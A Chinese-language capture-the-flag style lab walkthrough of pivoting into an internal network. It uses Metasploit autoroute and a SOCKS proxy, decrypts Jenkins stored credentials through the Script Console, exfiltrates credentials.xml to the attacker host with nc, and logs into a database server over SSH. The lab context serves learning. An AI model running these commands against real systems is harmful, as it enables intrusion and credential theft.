THP-CSK靶场--内网横向移动(二)
前言:本文承接自
横移一,在上一篇中我们三台机器发现是站库分离形式,并且通过SSH登录到了jenkins,那么在这里.30就是作为跳板机而存在,最终拿下.50数据库权限 然后因为都是我没接触过的,所以本篇文章以学习别的师傅写的walkthrough为主
代理内网穿透
首先在跳板机中输入的命令如下:
netstat -tlnp
netstat -tlnp是一个用于查看网络连接和端口监听状态的命令,各参数含义如下:
| 参数 | 全称 | 含义 |
|---|---|---|
-t |
TCP | 显示 TCP 协议的连接/端口 |
-l |
Listening | 只显示正在监听的端口(等待入站连接) |
-n |
Numeric | 以数字形式显示 IP 和端口,不进行 DNS 反向解析(更快、更清晰) |
-p |
Process | 显示进程 PID 和进程名称(需要 root 权限才能看到其他用户的进程) |

这里能看到是有8080端口的,但是在最开始的时候用nmap并没有扫到这些端口,说明这些端口是对内网开放,我们需要建立相应的代理进行内网穿透【直接从外部访问显示无法访问】
在.10使用curl,确认能访问:
curl http://172.16.250.30:8080

后面就涉及到了SOCKS代理节点问题,先具体了解一下SOCKS
SOCKS(Socket Secure)是一种网络传输协议,主要用于通过代理服务器转发客户端与目标服务器之间的通信请求。它的核心功能包括:
隐藏用户真实IP地址:通过代理服务器,用户的真实IP地址被隐藏,保护用户隐私
穿透防火墙限制:SOCKS协议可以帮助用户绕过网络限制,访问被封锁的资源。
支持多种网络协议:如TCP和UDP,能够代理多种类型的流量,包括HTTP、FTP等。
SOCKS协议经历了多个版本,最常见的是SOCKS4和SOCKS5,后者增加了对UDP和身份验证的支持
运用MSF建立SOCKS代理实现内网穿透,整体流程如下:
1. 已有 Meterpreter 会话(入口机 .10)
2. 添加到达目标内网的路由(autoroute)
3. 启动 SOCKS 代理服务(socks_proxy)
4. 配置 proxychains 使用代理
5. 通过代理访问目标内网(.30)
第一步便是添加路由:
但首先要返回msf,输入background
use multi/manage/autoroute
set session 1
run
-
use multi/manage/autoroute含义:加载 Metasploit 的
autoroute模块。模块路径:
multi/manage/autoroute作用:这是一个后渗透管理模块,能自动从已控主机(
session)读取其内网路由表,并批量添加到 MSF 框架的路由表中,相比手动一条条 route add,这个模块能一次性把 session 主机的所有内网网段都加进来 -
set session 1含义:指定要操作的 Meterpreter 会话 ID 为 1
告诉
autoroute模块:去读取session 4这台已控主机的路由表和网卡信息这里的session得具体看自己建立的,可通过
sessions -l来查看具体的sessionid:

关键:验证路由是否添加成功
route print

第二步:启动 SOCKS 代理服务
把外部工具(如 Nmap、Hydra、浏览器等)的流量也通过已控跳板机转发进内网
use auxiliary/server/socks_proxy
set SRVPORT 1080
set SRVRHOSTS 0.0.0.0
set VERSION 4a
run
-
use auxiliary/server/socks_proxy含义:加载 SOCKS 代理辅助模块
模块路径:
auxiliary/server/socks_proxy作用:在 MSF 框架上启动一个 SOCKS 代理服务,让外部工具能复用 MSF 已建立好的内网路由
-
set SRVPORT 1080设置 SOCKS 代理监听的端口为 1080。
这是 MSF 本机开启的端口,外部工具配置代理时就要连这个端口
-
set SRVHOSTS 0.0.0.0监听所有网络接口,允许外部连接
-
set VERSION 4a含义:设置 SOCKS 协议版本为 4a
SOCKS4a:支持域名解析(域名由 MSF 代理端解析,而非客户端自己解析)
SOCKS5:相比 4a 多了认证、UDP 支持等特性
这里设 4a 通常是为了兼容性,或者避开某些工具对 SOCKS5 的兼容问题
通过jobs命令来查看模块运行状态:

第三步:配置 Proxychains
编辑 /etc/proxychains4.conf 或 /etc/proxychains.conf:
sudo vim /etc/proxychains4.conf
#找到最后一行修改
socks4 127.0.0.1 1080
socks4:使用 SOCKS4 协议(与上面 VERSION 4 对应)
127.0.0.1:代理服务器的 IP(MSF 运行在本机)
1080:代理服务器的端口
最后输入以下命令检测:
curl --socks4 127.0.0.1:1080 http://172.16.250.30:8080/jenkins/ -v
如果返回的是200,那么就说明成功了
第四步:通过代理访问内网
proxychain firefox
这个其实有点问题,方便一点的话直接自己设置一个代理,注意这里是kali中的火狐:

终于能调出正常界面了┭┮﹏┭┮

如果想要自己主机上访问的话得换成kali的ip即172.16.250.128

火狐中进去之后的页面长这样:

如果想用chrome查看的话设置一下代理插件,配置跟火狐一样即可:


跳板机打点
正常来讲的话要扫路径啥的,一个默认界面也看不出啥东西,但是有个问题是扫描器开了后MSF特别容易崩溃:
proxychains dirsearch -u http://172.16.250.30:8080/ -t 5
记得加proxychains

所以这里就不上了,而且给出来用户名,拼接一下也就进去了,后面如果具体碰到了问题再说吧,这里不作为重点,毕竟换工具再扫又崩了的话又得重新开MSF
在Credentials下发现了root和db:

点进去之后再点击update就能看到root就是之前的ssh私钥,db则有相应的账户密码,直接看看不到密码那就检查一下:

得到的密码:
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=
下面就是解密问题了,大部分都是直接给解密脚本的,调用web端系统管理中的脚本命令行:
println hudson.util.Secret.decrypt("2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=")
#得到
)uDvra{4UL^;r?*h
Jenkins 自带的一个 Groovy 脚本命令,在 Jenkins 的“脚本命令行”(Script Console)里执行,用于解密 Jenkins 存储的加密凭据
但正常来说肯定是不知道的,所以我们得自己找,因为之前已经通过ssh连上了jenkins,所以到处翻了一下在家目录下找到有用的文件:

后面在secret目录下找到了之前命令有关的文件:

然后就能下载解密脚本和相应的文件了,具体下载网站戳这里
git clone https://github.com/tweksteen/jenkins-decrypt.git
从靶机上下载到kali可以用nc:
#kali中输入
nc -lvnp 1234 > credentials.xml
#靶机中输入
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

后续两个文件按相同操作执行即可,最后kali中执行解密脚本也可以得到相应密码。
ssh登录数据库:
proxychains ssh db_backup@172.16.250.50
)uDvra{4UL^;r?*h
三个all,一键root

小结
也是第一次打多台,别的师傅写的文章其实最关键的代理穿透其实没有讲的特别清楚,导致我在配置的时候踩到了很多坑,最后再回顾一下:
第一步:把 Session 放到后台
background
第二步:添加内网路由(必须在 SOCKS 代理之前)
二选一:
方法 A:手动加(精确控制)
route add 172.16.250.0 255.255.255.0 1
方法 B:自动加(自动识别跳板机内网网段)
use multi/manage/autoroute
set session 1
run
验证路由是否生效:
route print
输出必须有:
Subnet Netmask Gateway
172.16.250.0 255.255.255.0 Session 1
第三步:启动 SOCKS 代理
场景 A:只在 Kali 本机用(浏览器、proxychains 都在 Kali 里跑)
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j
场景 B:让宿主机浏览器也走这个代理
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0 # 允许外部 IP 连接
set SRVPORT 1080
set VERSION 5
run -j
验证代理已启动:
jobs
出现 Auxiliary: server/socks_proxy 则配置正确
第四步:测通
Kali 本机测试:
curl --socks5 127.0.0.1:1080 http://172.16.250.30:8080/ -v
宿主机测试(需先知道 Kali IP,如 192.168.1.100):
curl --socks5 192.168.1.100:1080 http://172.16.250.30:8080/ -v
curl 有返回 HTML → 链路通,弄浏览器即可。
curl 超时/拒绝连接 → 回头看防火墙、路由、SRVHOST 设置
第五步:浏览器配置方案
| 你在哪用浏览器 | 代理地址 | 你指的是谁 | 说明 |
|---|---|---|---|
| Kali 火狐 | 127.0.0.1 |
Kali 自己(MSF 在本地) | SRVHOST 127.0.0.1 或 0.0.0.0 均可。 |
| 宿主机浏览器 | Kali 的 IP(如 172.16.250.128) |
Kali 虚拟机 | SRVHOST 必须为 0.0.0.0。 |
第六步:命令行工具走代理(proxychains)
先配置 /etc/proxychains4.conf
socks4 127.0.0.1 1080
最后MSF是经济基础,SOCKS代理才是上层建筑记住这一点以后配置就不会出现顺序错误了 φ(゜▽゜*)♪

浙公网安备 33010602011771号